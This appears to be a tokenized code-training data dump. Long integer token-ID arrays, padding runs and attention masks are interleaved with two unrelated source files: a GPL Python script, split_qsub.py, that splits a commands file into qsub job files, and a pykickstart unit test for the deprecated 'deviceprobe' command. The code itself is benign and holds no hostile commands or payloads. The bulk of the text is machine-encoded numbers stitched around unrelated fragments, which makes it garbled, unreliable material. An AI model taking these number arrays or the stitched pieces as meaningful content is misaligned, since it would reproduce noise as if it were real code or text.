3555, 4765, 272, 4190, 628, 15400, 13, 19, 401, 272, 1166, 628, 2859, 921, 5031, 14, 957, 15, 22502, 10412, 15, 66, 10335, 1873, 1733, 401, 272, 1846, 63, 1802, 29, 2809, 63, 1802, 12, 272, 1015, 18971, 1023, 495, 3108, 272, 4132, 628, 1049, 322, 2379, 2523, 820, 371, 357, 262, 401, 272, 4132, 63, 2123, 628, 335, 322, 2379, 2523, 32, 22502, 10412, 14, 957, 401, 272, 6117, 29, 1623, 63, 5154, 8, 267, 2382, 534, 3130, 267, 5760, 7782, 66, 10335, 1873, 1733, 15, 2219, 9538, 272, 2318, 272, 19137, 1524, 267, 298, 23753, 9795, 3800, 959, 446, 24114, 15, 933, 461, 401, 267, 298, 23910, 23975, 3800, 23493, 401, 267, 298, 3761, 3800, 25718, 26330, 3800, 6289, 844, 401, 267, 298, 23699, 6187, 3800, 4403, 1010, 7106, 401, 267, 298, 11411, 8466, 3800, 2018, 3800, 499, 401, 267, 298, 16442, 3800, 5634, 2, 272, 2156, 272, 7681, 628, 25651, 394, 1187, 2340, 1639, 330, 10335, 1873, 1733, 28668, 10412, 401, 272, 3907, 63, 6537, 29, 3174, 63, 6537, 12, 272, 5936, 63, 4614, 2968, 2859, 921, 5031, 14, 957, 15, 25651, 15, 25651, 13, 795, 76, 13, 647, 3, 5799, 29, 25651, 13, 795, 76, 13, 647, 995, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mani2012/SplitQsub
splitqsub/split_qsub.py
1
3629
#!/usr/bin/env python # Author: Solaiappan Manimaran # Splits a commands file into multiple qsub files #usage information: split_qsub.py -h # SplitQsub 1.0 - Python program that given a set of commands in one file, # will split it in to multiple qsub files, # which can then be submitted to run all parallel at once # Copyright (C) 2015 Johnson Lab - Boston University # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os, argparse def splitQsub(inputArgs): with open(inputArgs.cmd_file,'r') as in1: count = 0 qcount = 1 outlines = [] qname = inputArgs.qsub_prefix+str(qcount) for ln in in1: outlines.append(ln) count += 1 if (count == inputArgs.num_lines): writeQsub(outlines, qname, inputArgs.outdir, inputArgs.header_file, inputArgs.footer_file) outlines = [] count = 0 qcount += 1 qname = inputArgs.qsub_prefix+str(qcount) def writeQsub(outlines, qname, outdir, headerfile, footerfile): outfile = qname+'.qsub' of = outdir + os.path.sep + outfile with open(of,'w') as out1: with open(headerfile,'r') as in1: for ln in in1: if "@@QNAME@@" in ln: ln = ln.replace("@@QNAME@@", qname) out1.write(ln) for oln in outlines: out1.write(oln) if footerfile != "": with open(footerfile,'r') as in2: for ln in in2: out1.write(ln) parser = argparse.ArgumentParser(description="SplitQsub") # create the top-level parser parser.add_argument('--version', action='version', version='%(prog)s 1.0') parser.add_argument('-commandsFile', action='store', dest='cmd_file', required=True, help='Commands File that has to be split into multiple qsub files') parser.add_argument('-headerFile', action='store', dest='header_file', required=True, help='Header file that contains the header with replaceable fields to be included in all qsub files') parser.add_argument('-footerFile', action='store', dest='footer_file', required=False, default="", help='Footer file that contains the footer to be included in all qsub files') parser.add_argument('-numlines', action='store', dest='num_lines', required=False, default=1, type=int, help='Splits every given number of lines default (1) into a separate qsub file') parser.add_argument('-qsubFilePrefix', action='store', dest='qsub_prefix', required=False, default="p", help='Specify Commands File that has to be split into multiple qsub files') parser.add_argument('-outDir', action='store', default='.', dest='outdir', help='Output Directory (Default=. (current directory))') def main(): inputArgs = parser.parse_args() splitQsub(inputArgs) if __name__ == "__main__": main()
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 202, 199, 3, 6529, 26, 17991, 5789, 571, 290, 4688, 1017, 285, 290, 202, 199, 3, 11740, 83, 282, 3718, 570, 1901, 3663, 1894, 954, 1584, 2999, 199, 3, 3807, 2556, 26, 3715, 63, 81, 954, 14, 647, 446, 72, 2999, 199, 3, 755, 11740, 49, 954, 413, 14, 16, 446, 2018, 2240, 626, 1627, 282, 663, 402, 3718, 315, 1373, 570, 12, 20712, 199, 3, 755, 911, 3715, 652, 315, 370, 3663, 1894, 954, 1584, 12, 20712, 199, 3, 755, 1314, 883, 2066, 506, 16930, 370, 1255, 1006, 9861, 737, 5403, 202, 199, 3, 755, 1898, 334, 35, 9, 6900, 221, 7135, 25338, 265, 16871, 446, 8226, 15904, 202, 199, 3, 202, 199, 3, 755, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 202, 199, 3, 755, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 202, 199, 3, 755, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 202, 199, 3, 755, 1263, 2945, 1015, 14, 202, 199, 3, 202, 199, 3, 755, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 202, 199, 3, 755, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 202, 199, 3, 755, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 202, 199, 3, 755, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 202, 199, 3, 202, 199, 3, 755, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 202, 199, 3, 755, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 2999, 199, 646, 747, 12, 7534, 2999, 199, 318, 3715, 49, 954, 8, 1210, 6213, 304, 1128, 543, 1551, 8, 1210, 6213, 14, 1760, 63, 493, 2584, 82, 358, 465, 315, 17, 26, 1039, 2338, 275, 378, 1039, 1894, 835, 275, 413, 1039, 734, 1278, 275, 942, 1039, 20834, 275, 1324, 6213, 14, 81, 954, 63, 1861, 11, 495, 8, 81, 835, 9, 1039, 367, 10359, 315, 315, 17, 26, 1675, 734, 1278, 14, 740, 8, 6066, 9, 1675, 2338, 847, 413, 1675, 340, 334, 835, 508, 1324, 6213, 14, 1507, 63, 1278, 304, 2628, 2218, 49, 954, 8, 548, 1278, 12, 20834, 12, 1324, 6213, 14, 18091, 12, 1324, 6213, 14, 1291, 63, 493, 12, 1324, 6213, 14, 12781, 63, 493, 9, 2628, 734, 1278, 275, 942, 2628, 2338, 275, 378, 2628, 1894, 835, 847, 413, 2628, 20834, 275, 1324, 6213, 14, 81, 954, 63, 1861, 11, 495, 8, 81, 835, 9, 2999, 199, 318, 2218, 49, 954, 8, 548, 1278, 12, 20834, 12, 24670, 12, 1406, 493, 12, 14178, 493, 304, 1128, 4386, 275, 20834, 18098, 81, 954, 7, 1128, 402, 275, 24670, 435, 747, 14, 515, 14, 4127, 435, 4386, 1128, 543, 1551, 8, 1618, 2584, 87, 358, 465, 734, 17, 26, 1039, 543, 1551, 8, 1291, 493, 2584, 82, 358, 465, 315, 17, 26, 1675, 367, 10359, 315, 315, 17, 26, 2628, 340, 298, 7492, 49, 2339, 7492, 2, 315, 10359, 26, 4906, 10359, 275, 10359, 14, 1814, 480, 7492, 49, 2339, 7492, 401, 20834, 9, 2628, 734, 17, 14, 952, 8, 6066, 9, 1039, 367, 312, 6066, 315, 734, 1278, 26, 1675, 734, 17, 14, 952, 8, 393, 78, 9, 1039, 340, 14178, 493, 1137, 10812, 1675, 543, 1551, 8, 12781, 493, 2584, 82, 358, 465, 315, 18, 26, 2628, 367, 10359, 315, 315, 18, 26, 4906, 734, 17, 14, 952, 8, 6066, 9, 17554, 8065, 199, 2087, 275, 7534, 14, 10730, 8, 1802, 628, 8862, 49, 954, 531, 2999, 199, 3, 1218, 314, 2746, 13, 1896, 1798, 202, 199, 2087, 14, 525, 63, 2094, 4517, 1023, 297, 1595, 534, 1023, 297, 1015, 29342, 6595, 9, 83, 413, 14, 16, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 4405, 1173, 297, 1595, 534, 1617, 297, 2053, 534, 1760, 63, 493, 297, 1415, 29, 549, 12, 26259, 1720, 534, 14680, 3814, 626, 965, 370, 506, 3715, 1901, 3663, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 1291, 1173, 297, 1595, 534, 1617, 297, 2053, 534, 1291, 63, 493, 297, 1415, 29, 549, 12, 26259, 1720, 534, 2567, 570, 626, 3509, 314, 1406, 543, 3350, 461, 1504, 370, 506, 5120, 315, 1006, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 12781, 1173, 297, 1595, 534, 1617, 297, 2053, 534, 12781, 63, 493, 297, 1415, 29, 797, 12, 26259, 849, 8772, 1720, 534, 5686, 351, 570, 626, 3509, 314, 14178, 370, 506, 5120, 315, 1006, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 1507, 1278, 297, 1595, 534, 1617, 297, 2053, 534, 1507, 63, 1278, 297, 1415, 29, 797, 12, 26259, 849, 29, 17, 12, 730, 29, 442, 12, 1720, 534, 8862, 83, 4036, 1627, 1329, 402, 2385, 849, 334, 17, 9, 1901, 282, 7396, 1894, 954, 570, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 81, 954, 1173, 4793, 297, 1595, 534, 1617, 297, 2053, 534, 81, 954, 63, 1861, 297, 1415, 29, 797, 12, 26259, 849, 628, 80, 401, 1720, 534, 17768, 5817, 83, 3814, 626, 965, 370, 506, 3715, 1901, 3663, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 548, 3567, 297, 1595, 534, 1617, 297, 849, 534, 3130, 2053, 534, 18091, 297, 1128, 1720, 534, 2959, 15191, 334, 2698, 15856, 334, 1818, 2082, 28435, 2999, 199, 318, 2446, 837, 1128, 1324, 6213, 275, 1798, 14, 1122, 63, 589, 342, 1128, 3715, 49, 954, 8, 1210, 6213, 9, 2999, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 1128, 2446, 342, 1223, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 202, 199, 3, 6529, 26, 17991, 5789, 571, 290, 4688, 1017, 285, 290, 202, 199, 3, 11740, 83, 282, 3718, 570, 1901, 3663, 1894, 954, 1584, 2999, 199, 3, 3807, 2556, 26, 3715, 63, 81, 954, 14, 647, 446, 72, 2999, 199, 3, 755, 11740, 49, 954, 413, 14, 16, 446, 2018, 2240, 626, 1627, 282, 663, 402, 3718, 315, 1373, 570, 12, 20712, 199, 3, 755, 911, 3715, 652, 315, 370, 3663, 1894, 954, 1584, 12, 20712, 199, 3, 755, 1314, 883, 2066, 506, 16930, 370, 1255, 1006, 9861, 737, 5403, 202, 199, 3, 755, 1898, 334, 35, 9, 6900, 221, 7135, 25338, 265, 16871, 446, 8226, 15904, 202, 199, 3, 202, 199, 3, 755, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 202, 199, 3, 755, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 202, 199, 3, 755, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 202, 199, 3, 755, 1263, 2945, 1015, 14, 202, 199, 3, 202, 199, 3, 755, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 202, 199, 3, 755, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 202, 199, 3, 755, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 202, 199, 3, 755, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 202, 199, 3, 202, 199, 3, 755, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 202, 199, 3, 755, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 2999, 199, 646, 747, 12, 7534, 2999, 199, 318, 3715, 49, 954, 8, 1210, 6213, 304, 1128, 543, 1551, 8, 1210, 6213, 14, 1760, 63, 493, 2584, 82, 358, 465, 315, 17, 26, 1039, 2338, 275, 378, 1039, 1894, 835, 275, 413, 1039, 734, 1278, 275, 942, 1039, 20834, 275, 1324, 6213, 14, 81, 954, 63, 1861, 11, 495, 8, 81, 835, 9, 1039, 367, 10359, 315, 315, 17, 26, 1675, 734, 1278, 14, 740, 8, 6066, 9, 1675, 2338, 847, 413, 1675, 340, 334, 835, 508, 1324, 6213, 14, 1507, 63, 1278, 304, 2628, 2218, 49, 954, 8, 548, 1278, 12, 20834, 12, 1324, 6213, 14, 18091, 12, 1324, 6213, 14, 1291, 63, 493, 12, 1324, 6213, 14, 12781, 63, 493, 9, 2628, 734, 1278, 275, 942, 2628, 2338, 275, 378, 2628, 1894, 835, 847, 413, 2628, 20834, 275, 1324, 6213, 14, 81, 954, 63, 1861, 11, 495, 8, 81, 835, 9, 2999, 199, 318, 2218, 49, 954, 8, 548, 1278, 12, 20834, 12, 24670, 12, 1406, 493, 12, 14178, 493, 304, 1128, 4386, 275, 20834, 18098, 81, 954, 7, 1128, 402, 275, 24670, 435, 747, 14, 515, 14, 4127, 435, 4386, 1128, 543, 1551, 8, 1618, 2584, 87, 358, 465, 734, 17, 26, 1039, 543, 1551, 8, 1291, 493, 2584, 82, 358, 465, 315, 17, 26, 1675, 367, 10359, 315, 315, 17, 26, 2628, 340, 298, 7492, 49, 2339, 7492, 2, 315, 10359, 26, 4906, 10359, 275, 10359, 14, 1814, 480, 7492, 49, 2339, 7492, 401, 20834, 9, 2628, 734, 17, 14, 952, 8, 6066, 9, 1039, 367, 312, 6066, 315, 734, 1278, 26, 1675, 734, 17, 14, 952, 8, 393, 78, 9, 1039, 340, 14178, 493, 1137, 10812, 1675, 543, 1551, 8, 12781, 493, 2584, 82, 358, 465, 315, 18, 26, 2628, 367, 10359, 315, 315, 18, 26, 4906, 734, 17, 14, 952, 8, 6066, 9, 17554, 8065, 199, 2087, 275, 7534, 14, 10730, 8, 1802, 628, 8862, 49, 954, 531, 2999, 199, 3, 1218, 314, 2746, 13, 1896, 1798, 202, 199, 2087, 14, 525, 63, 2094, 4517, 1023, 297, 1595, 534, 1023, 297, 1015, 29342, 6595, 9, 83, 413, 14, 16, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 4405, 1173, 297, 1595, 534, 1617, 297, 2053, 534, 1760, 63, 493, 297, 1415, 29, 549, 12, 26259, 1720, 534, 14680, 3814, 626, 965, 370, 506, 3715, 1901, 3663, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 1291, 1173, 297, 1595, 534, 1617, 297, 2053, 534, 1291, 63, 493, 297, 1415, 29, 549, 12, 26259, 1720, 534, 2567, 570, 626, 3509, 314, 1406, 543, 3350, 461, 1504, 370, 506, 5120, 315, 1006, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 12781, 1173, 297, 1595, 534, 1617, 297, 2053, 534, 12781, 63, 493, 297, 1415, 29, 797, 12, 26259, 849, 8772, 1720, 534, 5686, 351, 570, 626, 3509, 314, 14178, 370, 506, 5120, 315, 1006, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 1507, 1278, 297, 1595, 534, 1617, 297, 2053, 534, 1507, 63, 1278, 297, 1415, 29, 797, 12, 26259, 849, 29, 17, 12, 730, 29, 442, 12, 1720, 534, 8862, 83, 4036, 1627, 1329, 402, 2385, 849, 334, 17, 9, 1901, 282, 7396, 1894, 954, 570, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 81, 954, 1173, 4793, 297, 1595, 534, 1617, 297, 2053, 534, 81, 954, 63, 1861, 297, 1415, 29, 797, 12, 26259, 849, 628, 80, 401, 1720, 534, 17768, 5817, 83, 3814, 626, 965, 370, 506, 3715, 1901, 3663, 1894, 954, 1584, 358, 202, 199, 2087, 14, 525, 63, 2094, 3654, 548, 3567, 297, 1595, 534, 1617, 297, 849, 534, 3130, 2053, 534, 18091, 297, 1128, 1720, 534, 2959, 15191, 334, 2698, 15856, 334, 1818, 2082, 28435, 2999, 199, 318, 2446, 837, 1128, 1324, 6213, 275, 1798, 14, 1122, 63, 589, 342, 1128, 3715, 49, 954, 8, 1210, 6213, 9, 2999, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 1128, 2446, 342, 1223, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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copyrighted material is made available to anyone wishing to use, modify, # copy, or redistribute it subject to the terms and conditions of the GNU # General Public License v.2. This program is distributed in the hope that it # will be useful, but WITHOUT ANY WARRANTY expressed or implied, including the # implied warranties of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 51 # Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Any Red Hat # trademarks that are incorporated in the source code or documentation are not # subject to the GNU General Public License and may only be used or replicated # with the express permission of Red Hat, Inc. # import unittest from pykickstart.base import DeprecatedCommand from tests.baseclass import CommandTest class FC3_TestCase(CommandTest): command = "deviceprobe" def runTest(self): # pass self.assert_parse("deviceprobe") self.assert_parse("deviceprobe --cheese", "deviceprobe --cheese\n") self.assert_parse("deviceprobe --cracker=CRUNCHY", "deviceprobe --cracker=CRUNCHY\n") class F29_TestCase(FC3_TestCase): def runTest(self): # make sure we've been deprecated parser = self.getParser("deviceprobe") self.assertTrue(issubclass(parser.__class__, DeprecatedCommand)) # make sure we are still able to parse self.assert_parse("deviceprobe") class RHEL8_TestCase(F29_TestCase): pass if __name__ == "__main__": unittest.main()
gpl-2.0
[ 3, 6061, 89, 29730, 271, 14630, 665, 279, 262, 271, 1235, 32, 17164, 14, 957, 30, 199, 3, 199, 3, 1898, 8937, 9572, 13002, 12, 3277, 14, 199, 3, 199, 3, 961, 1331, 31816, 471, 6285, 365, 6326, 2808, 370, 29165, 13809, 316, 370, 675, 12, 2811, 12, 199, 3, 1331, 12, 503, 3604, 652, 5420, 370, 314, 2895, 436, 3704, 402, 314, 1664, 199, 3, 1696, 1684, 844, 373, 14, 18, 14, 221, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 199, 3, 911, 506, 2997, 12, 1325, 2428, 1821, 3408, 19147, 503, 2478, 12, 5893, 314, 199, 3, 2478, 3712, 1417, 402, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 199, 3, 1666, 314, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8026, 199, 3, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 4828, 11315, 13, 10067, 12, 8217, 14, 221, 6184, 9572, 13002, 199, 3, 21032, 10375, 626, 787, 30147, 972, 315, 314, 1350, 1233, 503, 3794, 787, 440, 199, 3, 5420, 370, 314, 1664, 1696, 1684, 844, 436, 1443, 1454, 506, 1202, 503, 32436, 199, 3, 543, 314, 4056, 4983, 402, 9572, 13002, 12, 3277, 14, 199, 3, 199, 199, 646, 2882, 199, 199, 504, 1134, 30784, 14, 1095, 492, 17993, 3110, 199, 504, 2295, 14, 1095, 533, 492, 5817, 774, 199, 199, 533, 20934, 19, 63, 1746, 8, 3110, 774, 304, 272, 1414, 275, 298, 1782, 15944, 2, 339, 347, 29779, 8, 277, 304, 267, 327, 986, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 531, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 1553, 595, 31209, 401, 298, 1782, 15944, 1553, 595, 31209, 60, 78, 531, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 1553, 67, 8085, 281, 29, 2944, 1734, 1244, 57, 401, 298, 1782, 15944, 1553, 67, 8085, 281, 29, 2944, 1734, 1244, 57, 60, 78, 531, 199, 199, 533, 481, 1398, 63, 1746, 8, 4161, 19, 63, 1746, 304, 272, 347, 29779, 8, 277, 304, 267, 327, 1852, 3238, 781, 9064, 2757, 5906, 267, 1798, 275, 291, 14, 362, 2842, 480, 1782, 15944, 531, 267, 291, 14, 1815, 8, 20179, 8, 2087, 855, 533, 3108, 17993, 3110, 430, 398, 327, 1852, 3238, 781, 787, 5139, 7688, 370, 2198, 267, 291, 14, 479, 63, 1122, 480, 1782, 15944, 531, 199, 199, 533, 820, 24771, 24, 63, 1746, 8, 38, 1398, 63, 1746, 304, 272, 986, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 